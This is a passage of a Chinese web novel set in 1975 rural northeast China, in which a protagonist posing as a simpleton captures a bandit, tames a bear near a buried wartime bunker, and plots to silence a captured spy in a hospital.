《重生1975:从傻狍子到丛林之王》
第95章 再装就没意思了
“全体都有!”
王大炮扯着破锣嗓子暴喝一声,脖子上青筋直冒。
“一级警戒!拉绳!把大队部给我围铁桶喽!”
他手一挥,指着外头那一圈伸长脖子的脑袋。
“谁也不许靠近!谁敢往前凑一步,按通敌论处!谁要是敢乱嚼舌根,老子请他吃花生米!”
十几个端着土枪的民兵冲出去,枪托子一横,把围观村民往外推了五六米。
沈雨溪从屋里跑了出来。
风雪里,杨林松浑身是血,却站得笔直。
看到这一幕,她那颗悬了半天的心终于落地,眼眶红了。
但紧接着,目光触及地上那个血糊糊的包裹时,她的胃里一阵翻江倒海。
里面是个人?
她咬着牙,强忍着恶心,冲上去帮着老刘头和阿三,把那堆“战利品”推进大院。
“咣当!”
院门关上,隔绝了外面的视线和议论声。
院子里,气氛凝重。
杨林松解开虎皮,露出了里面只剩半口气的老鬼。
双腿膝盖以下成了肉泥,白骨混着血肉,触目惊心。
“嘶——”
王大炮只觉得牙花子发酸,手里的半截烟掉在了地上。
“这……这是老鬼?这他娘的是让吉普车给活剐了?腿都没了?”
他蹬向阿三。
阿三缩了缩脖子,眼神发飘。
他又看向杨林松。
还是面无表情。
这小子,下手太狠了!
但也真他娘的解气!
“没死透。”
杨林松蹲下身,抓起一把干净的雪,搓了搓手。
“命大,留着有用。他的嘴里,有大秘密。”
王大炮抹了一把额头上的冷汗,在院子里来回拉磨,鞋底子把雪地磨得沙沙响。
“这伤势太重了,得送公社卫生院……不行!”
王大炮脚步一顿,脸色大变。
“卫生院那破地方兜不住!人多眼杂,万一再来个灭口的,咱们就白忙活了!”
这不仅是个重伤员,还是活罪证,更是一颗烫手山芋。尤其是那个黄五爷,这老鬼肯定认得。
杨林松站起身,看了一眼还在抽搐的老鬼。
“大炮叔,这事儿公社管不了。”
“赵卫东。”
杨林松吐出一个名字:“直接给县武装部赵卫东副部长打电话。”
王大炮一愣,随即咬牙点头。
“对!打老鬼,当初是他出的这馊主意,这烂摊子必须得他来收拾!”
他二话不说,冲进办公室,抓起电话,死命地摇了起来。
“喂!接县武装部!要快!我是红星大队王大炮!我有特急军情找赵卫东副部长!十万火急!”
电话接通得很快。
王大炮握着听筒,手在发抖,把情况简要汇报了一遍。
话音刚落,电话那头,原本有些嘈杂的背景音突然消失了。
只能听见听筒里粗重的呼吸声。
沉默持续了足足半分钟,赵卫东沉稳有力的声音突然响起:
“王大炮,你给我听仔细了,每一个字都给我听进耳朵里!”
“从现在起,一级封锁红星大队!不管是公社书记还是县长,没有我的命令,任何人不许进出!哪怕是一只苍蝇飞进去,我也拿你是问!”
说到最后,赵卫东的声音里竟透出狂喜:
“人没死?太好了!这人身上要是没掏出点东西,老子跟他姓!”
“把他给我看死喽!别让他死!等着!我现在就带兵过去!全副武装!不管遇到谁阻拦,一律先扣下,敢反抗的,就地击毙!”
“咔哒!”电话挂断。
王大炮火急火燎地冲出办公室,一脚踢开地上的带血石块。
他指着阿三和老刘头大吼:
“止血药!绑腿带子!快点!别让这王八蛋流血流死了!他现在的命比金条还贵!”
阿三手忙脚乱地从屋里翻出急救包。
老刘头动作利索,撕开粗布,把老鬼的大腿根死死勒住,勒得皮肉都陷了进去。
屋檐下,杨林松悄无声息地往后退了两步,半个身子在阴影里。
也就一眨眼的工夫,他肩膀一塌,背一驼,换上一副憨傻表情。
不到二十分钟,村口传来引擎轰鸣。
三辆军用大卡车急刹在大队部门口。
“咣当!”
车厢挡板砸下。
全副武装的士兵动作齐整地跃下车。
“咔咔咔!”
一连串拉动枪栓声响起。
士兵们迅速散开,在大院外围筑起一道人墙,一排枪口对准了看热闹的人群。
“妈呀……”
张桂兰被枪栓声吓得一哆嗦,差点坐地上,但转念一想,那股子幸灾乐祸的劲儿又上来了。
这么大阵仗!肯定是来抓杀人犯的!
她拍着大腿,冲着当兵的方向扯着嗓子:
“解放军同志明鉴啊!里头那个杀人犯跟咱们老杨家早分家了!他是死是活跟咱们没半毛钱关系!你们直接开枪,赶紧把他拉去打靶!别脏了咱们村的地!”
围观的村民早被震住了,连连后退,根本没人敢接她的话茬,只觉得这婆娘疯了。
就在这时,一辆吉普车越过卡车,停在大门正前方。
来人正是赵卫东,他推门下车,披着军大衣,大步跨入院内。
王大炮顾不得肋骨隐隐疼痛,赶紧迎上去,用半个身子挡住杨林松,大声汇报:
“赵副部长!这事儿吧……是这傻小子一身蛮力,遇到土匪吓蒙了,这才误打误撞……”
赵卫东压根没听他扯淡,一把拨开王大炮,径直走到虎皮前。
他蹲下身,盯着那张扭曲的脸。
片刻后,赵卫东脸膛涨红,双手攥紧,肩膀微微发抖,仰头大笑:
“哈哈哈!好!好得很!真是这头老狐狸!”
院门外,张桂兰那刚准备喷出来的第二句叫骂,直接卡在了喉咙里,噎得她直翻白眼。
首长没拔枪?怎么还乐开了花?
眼看火候差不多了,杨林松从王大炮身后探出半个脑袋。
他吸溜着鼻涕,伸出一只脏兮兮的大手,一把揪住赵卫东的军大衣袖子,咧嘴直乐:
“大红花……大炮叔说我抓了坏人,政府给发洗脸盆那么大的大红花……我要戴着给沈知青看……”
赵卫东猛地转头,盯着杨林松的脸。
这一眼,足足看了十秒钟。
赵卫东突然一挥手:
“王大炮,杨林松,跟我进屋!”
三人快步进屋,房门砰的一声关紧。
赵卫东转过身,脸上的和蔼消失了。
他盯着杨林松,冷笑了一声:
“呵,行了,别装了。”
“能在核材车上全身而退,还能把大名鼎鼎的老鬼削成人棍。傻子要是能办到这事,我赵字倒过来写。”
王大炮大惊失色,额头冷汗直冒,张嘴就想替杨林松打掩护。
“赵副部长,这孩子真……”
没等他说完,杨林松动了。
他缓缓挺起腰背,下巴微抬,站姿也变得挺拔。
脸上的憨傻和唯唯诺诺一扫而空,取而代之的,是平静与锋芒。
他没有开口辩解,而是直视赵卫东的眼睛。
那股压迫感,竟跟这位首长不相上下。
王大炮急得直跺脚,哑着嗓子低喊:
“赵副部长!他是烈士遗孤!他这么干也是为了保护自己,为了保住全村老少……”
赵卫东抬起手,打断了王大炮的话。
他看着杨林松镇定的样子,眼底的警惕消散,变成了欣赏。
这年头,太缺这种下手狠辣、懂分寸、知进退的兵苗子了!
赵卫东跨前一步,重重拍在杨林松肩上。
“好小子,够种!”
“这底细我替你瞒了!这天大的功劳,咱们今天就按傻人有傻福来办!”
杨林松笑得极淡,轻轻点头。
“谢首长成全。”
聪明人说话,点到为止。对方需要一把藏在暗处的刀,而他正好也需要一把官方的保护伞。
“吱呀。”
大门被推开。
赵卫东大步迈上台阶,直面院门外几百双眼睛。
他清了清嗓子,声音盖过了风雪。
“红星大队杨林松听令!”
第96章 二等功砸晕全村极品
全场鸦雀无声。
赵卫东大声宣布:
“元旦期间,杨林松同志舍生忘死,保护国家绝密物资有功!经县里特批,奖励现金五百元!全国通用粮票两百斤!外加永久牌自行车工业券一张!”
“王大炮协助有功,授予个人三等功!”
“今日协助部队活捉悍匪老鬼,经查实,战果重大,武装部将为杨林松单独申报个人二等功!”
话音落地,村民们炸了锅。
“我的亲娘哎!五百块?!”
有人惊得下巴都要掉了,眼珠子瞪得溜圆:“俺全家五口人,在地里撅着屁股刨十年食儿,不吃不喝也攒不够这个数啊!”
“何止啊!那是二百斤全国粮票!走遍天下都能吃上白面馒头的硬通货!还有那自行车券……林松这孩子,这是祖坟冒青烟,一步登天了啊!”
这番话,结结实实劈在张桂兰的天灵盖上。
她眼睁睁看着赵卫东拿出档案袋,把一沓钞票和票证塞进杨林松手里。
那油墨味儿,顺着风飘过来,勾得张桂兰眼珠子通红,心肝脾肺肾都搅着疼。
那不单是白花花的银子,那可是政府的奖励啊!
那是以后能在村里横着走的资本啊!
贪婪冲昏了理智,张桂兰身子往前一探,张嘴就要嚎:
“这钱得归公……”
“咔嚓!”
对面几个民兵眼神一厉,拉动枪栓,枪口一低,直指她的面门。
张桂兰闭上了臭嘴。
周围村民纷纷投来鄙夷的目光。
恐惧与悔恨,抽干了张桂兰骨头里最后的力气。
她双腿一软,一屁股瘫在雪窝子里。她彻底明白了,老杨家这辈子,以后只有仰视这个傻侄子的份儿了。
院外的惊叹声此起彼伏。
大院内,随队军医动作麻利地剪开老鬼的袖口,抽出一支强心剂,找准静脉,一针推了进去。
十几秒后。
昏迷中老鬼身体剧烈抽搐,眼睛暴突睁开。
他的视线越过军医,死死盯着站在台阶上的杨林松,喉咙里发出呼哧声。
他拼尽全力,挤出几个含混不清的字眼:
“黄五爷……熊神洞……都要死……”
话没说明白,老鬼脑袋一歪,重重砸在担架上,又一次昏死过去。
赵卫东脸色大变,眼底杀气外溢。
他挥手怒吼:
“把人抬上车!押送回县里!全员一级戒备!”
------
车队消失在风雪里。
红星大队部的院子里,血腥味还没散,被冷风一吹,更往鼻子里钻了。
“全体都有!把门给老子守严实了!”
王大炮捂着隐隐作痛的肋骨,兴奋劲儿一过,老态尽显。
他指着几个还没回过魂的民兵,嗓子又干又哑:
“你们几个,去断龙沟,把战场的烂摊子收拾利索!阿三,你去院门口蹲着!不管是杨金贵那个窝囊废,还是张桂兰那个长舌妇,敢靠近大院十步,直接拉栓!吓死人不偿命!”
阿三眼圈还是红的,狠狠点了点头。
院门合拢。
屋内,炉火正旺。
王大炮长长舒了一口气,整个人瘫在长凳上。
他刚想往内袋摸一根烟出来,肋骨的疼劲儿又上来了。
他“嘶”了一声。
“结束了,总算结束了。”
王大炮一脸庆幸,看向杨林松,语气里透着长辈的慈祥:
“老鬼这种祸害被抓,武装部也接了手。等这两天赵副部长调兵扫山,咱们这红星大队,也算能过个安稳年了。”
“林松啊,二等功的奖状和那五百块钱,足够你盖新房娶个俏媳妇,往后就别折腾了,安生过日子吧。”
这是典型的老兵心态,拼过命、流过血,如今年纪大了,只想守着一亩三分地,老婆孩子热炕头。
“大队长,这觉,你怕是睡不踏实。”
沈雨溪的声音,兜头泼灭了王大炮的幻想。
她从军大衣内侧掏出那个黑皮笔记本,拍在桌子上。
“老鬼临走前喊的那三个字,您不会没听见吧?”
沈雨溪翻开笔记本,指着上面几行钢笔字。
“熊神洞,不是传说。”
“我父亲当年的评估报告里写得清清楚楚。日军投降前夕,在黑瞎子岭深处修了一半的防御工事,还有一个绝密的地下物资中转站!后来苏军推进太快,关东军没来得及炸毁,只能仓促爆破回填掩埋。”
她盯着王大炮,继续说:
“老鬼这帮人隔三岔五往黑瞎子岭钻,根本不是为了打猎,是在找这批军火!那里面封
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存的,可能是成建制的日制武器,甚至是九二式步兵炮!老鬼手里只有几把波波沙,咱们就差点招架不住,要是黄五爷那帮土匪进了洞,拿到了炮和手雷呢?”
王大炮嘴里叼着烟,烟灰烧了长长一截没掉下来。
他太清楚这意味着什么了。
那不是几杆破土枪的威胁,那是能把整个公社,甚至县城都犁一遍的重火力!
“刚才赵副部长也听见了,可武装部走程序调兵,最快也要三天。”
沈雨溪看向杨林松,眼神里透着狠劲儿。
“消息瞒不住多久。一旦黄五爷抄近路先进了黑瞎子岭,拿到了家伙什,咱们红星大队就是他们祭旗的第一个目标。为了掩盖军火去向,按照土匪的规矩,他们会屠村,鸡犬不留。”
王大炮额头的冷汗顺着脸颊往下淌,砸在桌面上。
他想罢手过安生日子的念头,现在根本不可能了。
“既然防不住,那就把坑占了,谁伸手剁谁的手。”
杨林松终于开口了。
他突然伸手,食指重重叩在地图上熊神洞的位置上。
紧接着,他转头,目光锁定了角落里低头抽闷烟的老刘头。
“老刘头,都要进山拼命了,有些底,该交了吧?”
杨林松的话很直接,捅破了窗户纸。
老刘头磕烟袋的动作一僵,烟斗悬在半空。
“在鹰嘴岩,两发点射,一枪爆头,一枪钻心。”
杨林松站起身,一步步逼近老刘头。
“大黑星这种手枪,有效射程也就五十米。隔着那么远,打移动靶,除了运气,就只有喂了几万发子弹后的手感了。”
他走到老刘头面前,居高临下:
“还有刚才清理战场。阿三是吓疯了乱碾,你呢?你在补枪,每一枪都精准打断手脚筋脉,最后才爆头。这种不留隐患的手法,可不是一个倒腾废铁的铁匠,或者是修车师傅能做出来的!”
老刘头缓缓抬起头,身上那股市侩、猥琐的劲儿,散了。
他慢慢挺直脊梁,老眼中的浑浊尽散。
他没急着回话,而是慢悠悠从怀里掏出一块破布,擦起了那把大黑星。
半分钟后,他冷笑一声:
“嘿嘿,杨爷,你眼毒。都到这份上了,再装孙子就没意思了。”
第97章 老铁匠的真实身份
“你腰上那玩意儿,虽说是兵工厂的货,但这血槽却是我的手艺。”
老刘头盯着杨林松腰间那把56式三棱刺,眼神复杂,带了点泪光。
王大炮腾地一下站了起来,眼珠子瞪得溜圆。
老刘头自顾自说道:
“三十年前,我是尖刀排的。那一仗,半个连的兄弟都填了坑。为了杀敌快点,再快点,我琢磨出了一套改刀的法子。”
他深吸一口气,盯着杨林松。
“刚才你拿它捅那群兔崽子的时候,它在笑,我听见了。”
“它在笑?”
杨林松先是心里一愣,随即仰头大笑。
这老兵魔怔了,这队友竟和我杨林松是同类!
“痛快!”杨林松一拍大腿,“老刘头,今天进山,这把刺,还是主力!”
杨林松伸出手,两人在空中重重击了一掌。
“啪!”
清脆,有力。
“妈了个巴子的!”
王大炮被这激得热血上涌,一拍桌子,吼道,
“算老子一个!老子当年也是侦察连的,手里的54式也不是吃素的!黄五爷敢来,老子拼了这把老骨头也要……”
他这一激动,动作幅度太大,原本就断了的肋骨猛地一错。
王大炮的话戛然而止,那张红脸一下子变得惨白。
他闷哼一声,冷汗往下流,整个人直挺挺地往后倒。
“大炮叔!”沈雨溪惊呼。
杨林松和老刘头对视一眼,动作那叫一个默契。一个按肩膀,一个锁腰。
“行了,王大队长。”
老刘头一边帮他顺气,一边幸灾乐祸地笑。
“您这身子骨,还是老实守家吧。这仗,是阎王爷的点名簿,您没在名册上,别硬挤。”
杨林松冷着脸冲门外吼道:“阿三!滚进来!”
阿三推门而入,一脸懵逼。
“开车,把你家大队长送回公社卫生院。告诉医生,把人给我锁在病床上!他要是敢跑,你就告诉他,这仗不带他,是因为他碍事!”
“杨林松,你大爷的……老子不碍事……”
王大炮疼得直抽抽,嘴里还在骂骂咧咧,眼神里全是无奈和不甘。
几分钟后,吉普车引擎声远去。
院子外面也没了嘈杂声。
屋内只剩下三个人。
杨林松抽出三棱刺,在袖口上轻轻一蹭,刀刃雪亮。
沈雨溪把炸药包做了防潮处理,她的手还在微微发抖,但眼神明亮。
老刘头扛起了那杆莫辛-纳甘步枪:“杨爷,这枪借我使使。”
杨林松给了个眼神,一点头。
“锵”的一声三棱刺归鞘,他的视线透过窗户,望向大山深处的黑瞎子岭。
“这世道变好以前,总得有人去把那些腐肉给割了。”
杨林松低声一句,推开屋门。
三道身影撞进了风雪里。
------
风硬,刮在脸上生疼。
越往黑瞎子岭深处钻,光线越暗。
头顶的针叶密密麻麻,脚下的雪到了腿肚子,拔一次腿都很费劲。
杨林松走在最前面,步子很稳,他踩着一种特有的节奏,不像赶路,倒像在巡视自己的地盘。
“到了。”
杨林松在一处背风的山坳前站住。
这里风声小了许多。
沈雨溪扶着树干大口喘气,哈气在围巾上结了一层霜。
老刘头虽然岁数大了,但身子骨硬朗,端着莫辛-纳甘,警惕地扫视四周。
“杨爷,这地儿……”
老刘头眯起眼,鼻子抽动。
“味儿不对。太静了,连声鸟叫都没有。”
杨林松没说话,下巴点了点前方的一堆乱石。
那石堆被积雪盖着,乍一看没什么奇怪的,但仔细瞧就能发现,石头排列整齐,是被人为堆砌起来的。
石缝里长满了半人高的枯草,与周围的红松林看着很不搭调。
“这就是我第一次碰见黑瞎子的地方。”
杨林松的声音里透着股寒气,“那时候我就觉得这石头堆得蹊跷,不像天然塌方,倒像是被人炸塌了故意掩埋的。”
沈雨溪一听,顾不上休息,慌忙掏出笔记本。
她冻僵的手笨拙地翻开那页手绘地图,又从兜里摸出个指北针。
她对着方位,看了看乱石,再低头看地图。
来回看了三次。
沈雨溪猛然抬头,眼睛瞪圆,声音发颤:
“对上了……全对上了!父亲笔记里标注的熊神洞入口,就是这儿!”
传说中的日军地下工事就在眼前。
这下面,埋葬着三十年前的罪恶,也藏着能毁掉整个县的火力。
杨林松走到乱石堆旁蹲下,拨开一块石头上的雪。
他从兜里掏出那枚7.62毫米弹壳,放在石头上
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“还记得这玩意儿吗?”杨林松回头。
老刘头凑过来一瞅:“当然记得。杨爷,您说过的,这不是那帮红毛鬼子的子弹吗?”
“没错。”
杨林松站起身,“我当时就在这儿捡到的。那时候我以为他们只是为了猎熊或者老虎,但现在看来,我还是低估了这帮间谍。”
他指了指脚下的冻土。
“他们早就掌握了工事的具体位置。之所以一直没动手挖开,是因为他们在等。”
“等什么?”沈雨溪问。
“等工兵,或者重型设备。”
杨林松冷笑一声。
“这乱石堆下面肯定是钢筋混凝土的封土层,靠几把工兵铲根本挖不开。那三个洋鬼子放颗弹壳在这儿,是为了做记号,给后续的大部队指路。”
沈雨溪只觉得后背发凉。
原来他们一直是在跟一支装备精良、计划周密的敌特小队抢时间。
如果不是杨林松提早废了那三个前哨,恐怕这批军火早就被运过边境线了。
“既然找到了,那就别磨叽了。”
老刘头把枪往背上一甩,从包里掏出工兵铲。
“趁着黄五爷的人还没摸上来,咱们赶紧把这口子炸了封死!”
沈雨溪也回过神,迅速从背包里取出那包炸药,准备找个石缝放进去。
就在这时。
“嘘。”
老刘头浑身一僵,做了一个手势。
他快速架起莫辛-纳甘,枪口死死锁定了下风口的一片灌木丛。
风向变了。
一股浓烈的腐臭味顺着风口灌了过来。
“咔嚓。”
枯枝被踩断的声音很清晰。
紧接着,前方的灌木丛炸开,雪沫子飞溅。
一头大家伙拨开树丛,突然出现在三人面前。
皮毛斑秃,胸口一撮白毛扎眼。
正是那头黑瞎子!
“妈了个巴子的……”
老刘头额头上的冷汗淌下,手指扣在扳机上。
“杨爷您上次放过了这畜生,这回是来寻仇的了!”
沈雨溪吓得手里的炸药包差点掉在地上,人僵在原地忘了呼吸。
这么近的距离,要是这头五百斤的野兽冲过来,他们三个就算有枪有炸药,也得交代在这儿至少两个。
黑瞎子站起身,喉咙里发出低鸣,眼睛里透着红光。
它要撕碎闯入领地的人!
第98章 熊神洞前的活门神
沈雨溪闭上了眼。
但黑瞎子停了。
它的视线落在杨林松身上。
那声即将爆发的咆哮卡在了喉咙里,变成了一声古怪的“咕噜”声。
黑瞎子庞大的身子竟哆嗦了一下。
它缩起右前肢,紧紧贴在胸口。
沈雨溪睁开眼,右侧熊掌上,有一个明显的贯穿伤,血肉翻卷着。
那是杨林松留下的记号。
“这……”
老刘头正要扣动扳机的手指僵了,眼珠子差点瞪出来。
他见过被枪声吓跑的野兽,也见过临死反扑的困兽,但从来没见过一头山大王露出这副怂样。
那双熊眼里,写满了又怕又服帖,还有一丝讨好。
“别动。”
一只大手按在老刘头的枪管上,把枪口缓缓压了下去。
杨林松面无表情,独自上前两步。
他没有拿刀,也没有取弓,就那么空着手,站在距离黑瞎子不到五米的地方。
这个距离,绝对是它的攻击范围。
但现在,却成了它的禁区。
一人一熊,在风雪中对视。
杨林松的眼神平静,没有杀意,只有一种高高在上的冷漠。
黑瞎子喉咙里发出呜咽声,身子微微后缩,然后慢慢趴下来,把脑袋埋在两只前爪之间。
这是臣服的姿态。
它被打服了。
那一箭的痛,那一刺的冷,它还牢牢记得。
“杨爷……神了……”
老刘头喃喃自语,手里的枪都忘了收。
沈雨溪目瞪口呆,这一幕完全超出了她的认知。
这就是丛林之王的气场吗?
连野兽都能感知到这个男人的杀气?
杨林松回头看了一眼沈雨溪手里的炸药包,摇了摇头。
“别埋了。”
“啊?”沈雨溪一愣,“可是……”
“这地方是风口,一旦爆炸,方圆十里都能听见。到时候不仅黄五爷的人会知道位置,连附近的猎户和砍柴的村民都可能被误伤。”
杨林松冷静分析道,“而且,这炸药一响,这头看门狗也就废了。”
他指了指趴在地上的黑瞎子。
“熊神洞之所以叫熊神洞,就是因为这片地界是它的领地。有它在这儿守着,比什么地雷都管用。”
“一般的土匪流氓,还没靠近就被它撕了。”
沈雨溪和老刘头对视一眼,恍然大悟。
格局打开了啊!
与其费劲巴力地炸山封路,不如利用这头现成的猛兽。
只要它还活着,这片乱石堆就是生人勿进的禁地。
杨林松从怀里掏出一块风干的野猪肉干,上次打到的野猪王这时候还在派用场。
他随手一抛。
肉干划出一道弧线,落在黑瞎子的大脑袋边上。
“吃吧。”
杨林松这句话难得温柔。
可下一句,却透着威严:
“吃完了,滚。”
黑瞎子嗅了嗅那块肉干,小心抬起头,看了一眼杨林松。
见那个煞星没有动手的迹象,它这才伸出舌头一卷,把肉干吞进嘴里。
随后,它深深看了一眼杨林松,然后爬起来,拖着那条伤腿,头也不回地钻进了密林。
直到黑瞎子的背影彻底消失,老刘头才长出了一口气。
他一屁股坐在雪地上,擦着脑门上的汗。
“杨爷,我老刘头这辈子没服过谁,今天我是真服了。”
老刘头竖起大拇指。
“这是训孙子呢!这以后传出去,您就是这大兴安岭真正的熊爷爷!”
沈雨溪收起炸药,看着杨林松,眼神里满是崇拜。这个男人,总能在绝境中找到最不可思议的破局之法。
然而,杨林松的脸上并没有半分轻松。
他站在乱石堆前,看着黑瞎子离去的方向,眉头越皱越紧,脸色一下子阴沉下来。
“不对。”
杨林松突然开口,声音很冷。
“怎么了杨爷?这不都解决了吗?”
老刘头刚想点根烟压压惊,看到他这样,手一抖。
“山里的畜生是解决了,可山外还有个长嘴的。”
杨林松转过身,目光越过层层林海,投向了山下的方向。
他的脑海里,快速复盘着整件事,最终定格在那天在雪地里跪地求饶的三个身影上。
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“那天在洼地,我绑了那三个洋鬼子,后来冻死两个,那个棕胡子的命还在。”
杨林松语速很快,“后来公社武装部的周铁山来接人,看到那棕毛鬼子半死不活就没带走。”
沈雨溪反应很快:“没错……那个棕胡子还活着,现在还在公社卫生院里躺着!”
“没错。”
杨林松眼中闪过寒芒,“那三个间谍早就知道坐标,现在唯一知道这个乱石堆位置的,就剩下那个躺在卫生院里的棕胡子!”
“如果黄五爷的人渗透进了卫生院,或者那个棕胡子为了保命把坐标卖了……”
后面的话,杨林松没说,但老刘头和沈雨溪都听懂了。
一旦坐标泄露,黄五爷那种亡命徒,绝对会带着重火力杀过来。
到时候,这头受伤的黑瞎子根本挡不住,就算他们埋下雷也未必挡得住。
这个漏洞太致命了,熊神洞的坐标就是保险箱的密码,虽然门口拴着恶犬,可这张写着密码的纸条,现在正大摇大摆地躺在人多眼杂的卫生院里!
“大意了。”
杨林松咬了咬牙,这是他重生以来第一次感到失算的懊恼。
他太关注山里的威胁,却忽略了那个漏网之鱼。
看来,他还是太仁慈了。
“那……那咋办?”老刘头急了,“咱们现在回去通知赵副部长?”
“就凭我手上这个弹壳?走程序能批?”
杨林松摇摇头,“就算他准了,也只能走常规流程,等批下来,集结完了,黄花菜都凉了。这时间足够黄五爷把这儿翻个底朝天。”
风雪中,杨林松猛地拉紧棉袄的领口,那双眸子里杀意沸腾。
“真正的战场不在山里,在山下。”
他转过身,大步流星地朝山下走去,每一步都踩得积雪咯吱作响。
“走,去公社卫生院。”
杨林松的声音在林海中回荡。
“既然这世道还没变好,那就让那个长嘴的活口,永远闭嘴。”
老刘头和沈雨溪对视一眼,都从对方眼中看到了惊骇。
他们知道,今晚的公社卫生院,怕是要不太平了。
第99章 山人有妙计,猎手已就位
去公社卫生院之前,三人得先洗去这一身的血腥气。
老刘头跟着杨林松回了土坯房,沈知青回知青点取东西。
土坯房里,灶坑里的火烧得正旺,把屋里的寒气驱散了不少。
杨林松光着膀子站在搪瓷脸盆前,毛巾吸饱了热水,在脊背上狠狠搓过。
泥垢和血渍被冲刷干净,一身腱子肉显露无遗。
宽肩,窄腰,背部肌肉线条硬朗,随着手臂动作起伏,充满了爆发力。
但更扎眼的,是那些纵横交错的伤疤。
旧伤是鞭痕、烫伤,那是原身当了八年傻子,受尽欺凌留下的烂账。
新伤是抓痕、淤青,是跟野兽拼命、跟悍匪搏杀换来的勋章。
“吱呀。”
木门被推开,沈雨溪兴冲冲闯了进来,怀里抱着两罐黄桃罐头,臂弯里还搭着一件深灰色的毛呢大衣。
“林松,我给你拿了……”
声音戛然而止。
沈雨溪一眼就瞅见了那个光裸的背影。
水珠顺着背脊滑落,流过狰狞的伤疤,最后没入裤腰。
这画面,太烈,也太野。
那股子逼人的热乎劲儿,比书本上写的任何文字都要蛮横不讲理,直往人心里钻。
沈雨溪只觉得脸颊被火燎了一下,心跳得快要从嗓子眼里蹦出来。
杨林松听到动静转过身,湿漉漉的头发搭在额前,眼神平静深邃。
“啊!”
沈雨溪像是被烫到了眼睛,慌乱地低下头,连耳根子都红透了。
她手忙脚乱地把东西往桌上一扔,转身就跑,差点一头撞在门框上。
“我……我在外面等你!”
砰的一声,门关上了。
门外,沈雨溪背靠着土墙,手按在胸口,大口喘气。
疯了,真是疯了。
刚才那一瞬,她竟觉得那些伤疤……有着说不出的野性,让人腿软。
屋内,杨林松低头看了一眼桌上的大衣。
苏式军大衣的改版,针脚细密,一看就是下了功夫的。
原来她拿去的料子,早就做好了。
他想起了那天沈雨溪帮他量体的画面,嘴角勾起浅浅的笑意。
他换上一件干净的粗布内衬,拿起大衣披在身上。
十分钟后,屋门再次打开。
沈雨溪回头,整个人愣住了。
杨林松站在门外,身姿挺拔。毛呢大衣合身,领口竖起,遮住了半张脸,只露出冷峻的眉眼。
这一刻,他不再是那个缩头缩脑的傻子,也不再是浑身血污的猎人。
他站在那儿,气场全开,活脱脱一位即将奔赴沙场的年轻指挥官。
而在他身后,老刘头套着杨林松从箱底翻出来的破旧中山装,袖子长了一截,衣摆盖住了半条大腿,松松垮垮地挂在身上,跟个偷穿大人衣服的老猴子似的,滑稽得很。
老刘头挠了挠头,嘿嘿笑了两声。
“这……”沈雨溪眼中满是惊艳,嘴唇微张,半天说不出话。
杨林松看着她那副痴迷样,突然肩膀一塌,脊梁佝偻下来,嘴巴向下一撇,眼里的精光瞬间涣散。
“嘿嘿,沈知青,好看不?大炮叔说穿新衣服能娶媳妇……”
这变脸,比翻书还快。
刚才那个神气的军官如昙花一现,一转眼,那个憨傻的大个子又凭空出现了。
沈雨溪只觉得寒意从脚底板直冲天灵盖。
这演技,绝了。
如果不是刚才亲眼见过那个冷峻的男人,她绝对会相信眼前这个人就是个彻头彻尾的傻子。
这种伪装,深不可测。
“车来了。”
杨林松憨笑一声,指了指村口,又转头看向沈雨溪。
“雨溪,我和老刘头去就行了,你也有好些天没回知青点了,虽然大炮叔批了假,但这事儿脏,你一个女孩子别沾手。”
说完,杨林松和老刘头钻进车,吉普车卷起雪沫子疾驰而去。
沈雨溪站在原地,笑了。
------
公社卫生院,人声鼎沸。
剿匪大捷的消息传得飞快,这里比过年还热闹。
老刘头和阿三留在车里,没有跟着进来。
杨林松一路傻笑着穿过大厅,怀里死死护着那两罐罐头。
“我有甜水!嘿嘿,你们没有!”
他警惕地看着路过的护士和病人,生怕别人抢了去,那副护食的傻样演得入木三分。
没人多看他一眼,都觉得这就是个只会傻乐呵的憨货。
推开二楼病房的门,王大炮正躺在床上,指着一个小护士骂骂咧咧。
“换什么药!老子这是硬伤,养养就好!别拿那些洋玩意儿霍霍老子!”
“
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大炮叔!”
杨林松大喊一声,冲进去把罐头往床头柜上一墩。
“吃甜水!这可是好东西,沈知青给的!给叔吃,不给别人!”
王大炮一见杨林松,刚想骂人,却冷不丁对上了杨林松那双突然变冷的眼睛。
王大炮心里一咯噔,骂人的话硬生生咽了回去。
他转头对护士挥了挥手,语气都不自觉地弱了几分:
“行了行了,我侄子来了,你出去,别在这儿碍眼!”
护士赶紧端着托盘退了出去。
门一关,病房里安静下来。
“叔,那棕胡子必须死。”杨林松压低声音。
王大炮脸色大变,刚要坐起来,却被杨林松一把按住肩膀。
“你别动,也别管。这事儿跟你没关系,脏水泼不到你身上。”
杨林松拍了拍王大炮的手背,力道不轻不重,“山人自有妙计,你只管躺着装死。”
说完,杨林松肩膀一缩,秒切回傻子模式,大声嚷嚷道:
“叔,我尿急!我去茅房找那个大管子撒尿!”
他拉开门,摇晃着身体钻了出去。
走廊尽头,是特护病房。
杨林松靠近时,特意放慢了脚步。
里面传来一阵惊恐的叫喊声,那是棕胡子的声音。
听这动静,这家伙精神已经恢复了,但心理防线崩了,正在发疯。
他用蹩脚的汉语嚷道:“我不要吃药!我不要再待在这个鬼地方!魔鬼!你们都是魔鬼!”
门口的躺椅上,坐着两个民兵,是王大炮的人,正抱着枪打着瞌睡。
杨林松瞥了一眼墙上的挂钟。
分针指向八,时针快到七。
六点四十。
他记得清楚,守病房的民兵是两班倒。
晚七点,是公社武装部副部长周铁山的人来接班。
杨林松眯起眼睛,在心里盘算着。
如果在王大炮的人手里死人,这锅得王大炮来背,说不定会被撤了职。
但如果是周铁山的人看守时出了事……
那就只能怪他们看管不力,或者犯人“伤重不治”了。
杨林松靠在墙角的阴影里,静静盯着秒针跳动。
还有二十分钟。
“大军车叔叔,对不起了,这口黑锅,只能暂时让你来背了。”杨林松心里默念了一句。
第100章 傻子一句话,特务吓破胆
晚七点,换班准时进行。
周铁山派来的两个民兵,那是真把自己当门神了。
两人背着半自动步枪,眼珠子瞪得跟铜铃似的,换药的小护士路过三次,他们就盘问三遍。
时间一分一秒地磨。
到了夜里十点。
走廊里的灯泡昏暗,空气越发冰冷,但这俩货硬是挺着没睡,精神头足得很。
躲在楼梯间里的杨林松,眉头拧成了疙瘩。
不能再等了。
棕胡子现在就是只惊弓之鸟,不管是黄五爷,还是周铁山,只要稍微上点手段,这洋鬼子绝对会把熊神洞的位置吐出来,换自己半条命。
可不管是公社还是县里,援兵都还在纸上。
一直虎视眈眈的,只有黄五爷那帮亡命徒。
老鬼已废,这棕毛洋人就是他们唯一的活地图。没准儿,杀手现在已经在路上了。
坐标一旦泄露,一切都完了。
杨林松身形一闪,溜下楼,钻进了院里的吉普车。
